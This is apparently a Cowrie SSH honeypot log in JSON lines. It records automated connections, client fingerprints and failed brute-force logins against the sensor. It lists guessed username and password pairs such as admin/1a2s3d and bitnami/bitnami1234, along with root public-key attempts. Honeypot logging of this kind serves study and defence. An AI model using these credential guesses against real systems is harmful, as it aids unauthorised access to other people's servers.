{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:37.429645Z","src_ip":"154.81.14.172","session":"bcd8ed9b8552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":47958,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa783b42bf08","protocol":"ssh","message":"New connection: 201.6.100.191:47958 (159.203.135.109:22) [session: aa783b42bf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:37.790524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:37.795177Z","src_ip":"201.6.100.191","session":"aa783b42bf08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:37.924461Z","src_ip":"201.6.100.191","session":"aa783b42bf08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1a2s3d","message":"login attempt [admin/1a2s3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:38.465527Z","src_ip":"201.6.100.191","session":"aa783b42bf08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:39.593448Z","src_ip":"201.6.100.191","session":"aa783b42bf08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":43468,"dst_ip":"159.203.135.109","dst_port":22,"session":"97669e55c3b3","protocol":"ssh","message":"New connection: 43.173.69.147:43468 (159.203.135.109:22) [session: 97669e55c3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:51.737715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:51.742908Z","src_ip":"43.173.69.147","session":"97669e55c3b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:51.811407Z","src_ip":"43.173.69.147","session":"97669e55c3b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftppass","message":"login attempt [ftpuser/ftppass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:52.114348Z","src_ip":"43.173.69.147","session":"97669e55c3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:53.185153Z","src_ip":"43.173.69.147","session":"97669e55c3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":50982,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c2ed74b8584","protocol":"ssh","message":"New connection: 181.97.227.163:50982 (10.17.0.5:22) [session: 7c2ed74b8584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:53.531200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:53.535561Z","src_ip":"181.97.227.163","session":"7c2ed74b8584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:53.740593Z","src_ip":"181.97.227.163","session":"7c2ed74b8584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nimda123","message":"login attempt [admin/nimda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:54.598238Z","src_ip":"181.97.227.163","session":"7c2ed74b8584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:44:55.807012Z","src_ip":"181.97.227.163","session":"7c2ed74b8584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":46334,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a9b941d056e","protocol":"ssh","message":"New connection: 103.158.40.65:46334 (159.203.135.109:22) [session: 7a9b941d056e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:01.478556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:01.483374Z","src_ip":"103.158.40.65","session":"7a9b941d056e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:01.698736Z","src_ip":"103.158.40.65","session":"7a9b941d056e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"newpass","message":"login attempt [user/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:02.589360Z","src_ip":"103.158.40.65","session":"7a9b941d056e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:03.810913Z","src_ip":"103.158.40.65","session":"7a9b941d056e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39576,"dst_ip":"10.17.0.5","dst_port":22,"session":"8311a8457f35","protocol":"ssh","message":"New connection: 103.125.103.201:39576 (10.17.0.5:22) [session: 8311a8457f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:09.062946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:09.068207Z","src_ip":"103.125.103.201","session":"8311a8457f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:09.306974Z","src_ip":"103.125.103.201","session":"8311a8457f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami1234","message":"login attempt [bitnami/bitnami1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:10.300019Z","src_ip":"103.125.103.201","session":"8311a8457f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:11.542441Z","src_ip":"103.125.103.201","session":"8311a8457f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":9406,"dst_ip":"159.203.135.109","dst_port":22,"session":"81f28bfafafb","protocol":"ssh","message":"New connection: 131.161.219.137:9406 (159.203.135.109:22) [session: 81f28bfafafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:16.683733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:16.689234Z","src_ip":"131.161.219.137","session":"81f28bfafafb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:16.819321Z","src_ip":"131.161.219.137","session":"81f28bfafafb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user2000","message":"login attempt [root/user2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:17.363476Z","src_ip":"131.161.219.137","session":"81f28bfafafb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.185","src_port":58834,"dst_ip":"10.17.0.5","dst_port":22,"session":"18c921222f0a","protocol":"ssh","message":"New connection: 176.65.131.185:58834 (10.17.0.5:22) [session: 18c921222f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:17.855443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:17.860602Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:17.953490Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:8e:24:5a:80:99:9d:2f:f8:3e:fe:50:f6:ca:2a:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhyOKDTOZfyo1cRM3BWLK5EmxCBaXs39GUwMPhYnv2IPW39PfcTBkaf8ZyjojBkVnU0xHmttAw3qnsofuAzlXaF2X3N23HrurPwiK7zxVUZMrLDnwLMhn77Or3ymVJWm7zSslabAHNcqjOkDe3pbfLI7i9N8LlcsKHQYn5JNEhXEZpY1sntR4SYJEqyHjdhwZwCJQNAVBr5OTVDFTZgExUxQNnnm15iYh/bsW3pq7mg8MwTW/HhWwzSStoxCxD99Yg7YBCTyGRyxkBc0k0up/Uiel/spTzM5TW+Je18yxB7cJ0l6uN8Gk8jnmReb/US2jflb+6M4DNmBlr5uZukG/b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:8e:24:5a:80:99:9d:2f:f8:3e:fe:50:f6:ca:2a:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.387279Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:8e:24:5a:80:99:9d:2f:f8:3e:fe:50:f6:ca:2a:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhyOKDTOZfyo1cRM3BWLK5EmxCBaXs39GUwMPhYnv2IPW39PfcTBkaf8ZyjojBkVnU0xHmttAw3qnsofuAzlXaF2X3N23HrurPwiK7zxVUZMrLDnwLMhn77Or3ymVJWm7zSslabAHNcqjOkDe3pbfLI7i9N8LlcsKHQYn5JNEhXEZpY1sntR4SYJEqyHjdhwZwCJQNAVBr5OTVDFTZgExUxQNnnm15iYh/bsW3pq7mg8MwTW/HhWwzSStoxCxD99Yg7YBCTyGRyxkBc0k0up/Uiel/spTzM5TW+Je18yxB7cJ0l6uN8Gk8jnmReb/US2jflb+6M4DNmBlr5uZukG/b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.391495Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:a9:19:bd:3d:12:40:d8:c1:a6:2c:d4:47:c7:89:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrm1mgFCGrQuVQE2VuYAf0yGwdyr++rtOPkSJzeYH5kGcroaGPTq0jiP9Z5YZwGQpk/d78TTEJzyBrb/S3u96fAEgvxCsnBRQ7aqtbBf0/iOGQffrxbcQbkNEfNutMPT8fboxMtOZZbOc/hKCaGU0UKX5TwB5zC3vh+epwF4A37eHwO87iNSAZMH5Iduq1rvmID9bnr6ZqraJWk9e4Mfcf5EdDt0e0Ki8zwPJW1Bon7h/67fMZmgLm3ggapU21f7b1AqEeVg29cAAoD8PTgkrsRSm112oCQc63uABr9XIX0QapebrrvxyOKSK41A7xk7M0+UaAK9WWAkm7Aoi1Pnlx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:a9:19:bd:3d:12:40:d8:c1:a6:2c:d4:47:c7:89:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.486305Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:a9:19:bd:3d:12:40:d8:c1:a6:2c:d4:47:c7:89:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrm1mgFCGrQuVQE2VuYAf0yGwdyr++rtOPkSJzeYH5kGcroaGPTq0jiP9Z5YZwGQpk/d78TTEJzyBrb/S3u96fAEgvxCsnBRQ7aqtbBf0/iOGQffrxbcQbkNEfNutMPT8fboxMtOZZbOc/hKCaGU0UKX5TwB5zC3vh+epwF4A37eHwO87iNSAZMH5Iduq1rvmID9bnr6ZqraJWk9e4Mfcf5EdDt0e0Ki8zwPJW1Bon7h/67fMZmgLm3ggapU21f7b1AqEeVg29cAAoD8PTgkrsRSm112oCQc63uABr9XIX0QapebrrvxyOKSK41A7xk7M0+UaAK9WWAkm7Aoi1Pnlx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.490405Z","src_ip":"176.65.131.185","session":"18c921222f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:45:18.498795Z","src_ip":"131.161.219.137","session":"81f28bfafafb","protocol":"ssh"}
